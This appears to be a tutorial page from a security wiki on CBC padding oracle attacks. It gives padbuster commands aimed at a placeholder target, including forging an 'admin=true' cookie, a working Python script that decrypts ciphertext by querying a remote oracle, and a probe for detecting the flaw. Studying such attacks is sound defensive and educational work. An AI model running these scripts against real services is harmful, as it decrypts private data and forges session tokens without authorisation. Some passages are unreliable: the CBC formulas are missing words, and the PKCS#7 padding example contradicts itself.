Padding Oracle Attack
Exploit CBC padding oracles to decrypt and forge ciphertext without knowing the key.
Padding Oracle Attack
A padding oracle is any system that reveals whether decrypted ciphertext has valid PKCS#7 padding - even just via different error messages or response times. With this single bit of information, you can decrypt any CBC ciphertext and forge arbitrary plaintexts without knowing the key.
Prerequisites
- CBC mode encryption
- PKCS#7 padding (the standard: last block padded with
\x01,\x02\x02, etc.) - A server that reveals whether padding is valid (different error, timing, response length)
PKCS#7 Padding
For 16-byte AES blocks:
Plaintext: "Hello World! " (16 bytes → no padding needed → add full block)
With pad: "Hello World!\x04\x04\x04\x04" (4 padding bytes of value 4)
Valid PKCS#7 padding:
1 byte of \x01
2 bytes of \x02\x02
...
16 bytes of \x10\x10...x10How the Attack Works
In CBC mode, block of plaintext is
where is AES block decryption and is the IV.
By modifying C[i-1] and asking the oracle if the result decrypts with valid padding, we can recover the intermediate value AES_K_decrypt(C[i]) byte by byte.
For the last byte of block i:
- Set
C'[i-1][15] = x(try all 256 values) - Submit
C'[i-1] || C[i]to oracle - When oracle says "valid padding" →
P'[i][15] = 0x01 - Therefore:
AES_K_decrypt(C[i])[15] = x XOR 0x01 - Recover:
P[i][15] = AES_K_decrypt(C[i])[15] XOR C[i-1][15]
Repeat for bytes 14, 13, ... 0, adjusting padding values.
Automated Tool: padbuster
# Install
gem install padbuster
# Usage: padbuster URL CIPHERTEXT BLOCKSIZE [OPTIONS]
padbuster http://target.com/page AABBCC...hex 16 \
--encoding 1 \ # 0=base64, 1=hex, 2=net, 3=netsafe, 4=html, 5=uri
--cookies "session=AABBCC...hex"
# Decrypt a ciphertext
padbuster http://target.com/page AABBCC 16 --encoding 0
# Forge arbitrary plaintext (encrypt mode)
padbuster http://target.com/page AABBCC 16 \
--encoding 0 --plaintext "admin=true"Python Implementation
import requests
from base64 import b64encode, b64decode
def oracle(ciphertext: bytes) -> bool:
"""Returns True if padding is valid."""
import base64
ct_b64 = base64.b64encode(ciphertext).decode()
r = requests.get(f"http://target.com/decrypt?ct={ct_b64}")
# Adjust based on how the oracle signals valid/invalid padding:
return "PaddingException" not in r.text # or check status code
def decrypt_block(prev_block: bytes, curr_block: bytes) -> bytes:
"""Decrypt one 16-byte block using padding oracle."""
intermediate = bytearray(16) # AES_K_decrypt(curr_block)
for byte_pos in range(15, -1, -1):
padding_val = 16 - byte_pos # e.g. byte 15 → \x01, byte 14 → \x02, etc.
# Fix already-known bytes
crafted_prev = bytearray(16)
for k in range(byte_pos + 1, 16):
crafted_prev[k] = intermediate[k] ^ padding_val
# Try all 256 values for current byte
for guess in range(256):
crafted_prev[byte_pos] = guess
test_ct = bytes(crafted_prev) + curr_block
if oracle(test_ct):
intermediate[byte_pos] = guess ^ padding_val
print(f" Byte {byte_pos}: found intermediate = {hex(intermediate[byte_pos])}")
break
# XOR with original prev_block to get plaintext
return bytes(intermediate[i] ^ prev_block[i] for i in range(16))
# Decrypt full ciphertext (IV + ciphertext blocks)
def decrypt_cbc(iv: bytes, ciphertext: bytes) -> bytes:
blocks = [ciphertext[i:i+16] for i in range(0, len(ciphertext), 16)]
plaintext = b""
prev = iv
for block in blocks:
plaintext += decrypt_block(prev, block)
prev = block
# Remove PKCS#7 padding
pad = plaintext[-1]
return plaintext[:-pad]Detecting a Padding Oracle
Signs a service is vulnerable:
- Different HTTP status codes for valid vs invalid padding: 200 vs 500
- Different error messages: "Invalid padding" vs "Wrong data"
- Different response lengths for the two cases
- Timing differences: valid padding processed differently
# Test: modify the last byte of IV and observe response
import requests
original_ct = b64decode("...") # your ciphertext
iv = original_ct[:16]
ct = original_ct[16:]
# Valid (unmodified) → should decrypt fine
r1 = requests.get(url, params={"ct": b64encode(original_ct).decode()})
# Modified IV → should cause padding error
modified_iv = bytearray(iv)
modified_iv[-1] ^= 0x01 # flip one bit
r2 = requests.get(url, params={"ct": b64encode(bytes(modified_iv) + ct).decode()})
print(f"Valid: {r1.status_code} {len(r1.text)}")
print(f"Invalid: {r2.status_code} {len(r2.text)}")
# Different? → padding oracle exists!Last updated on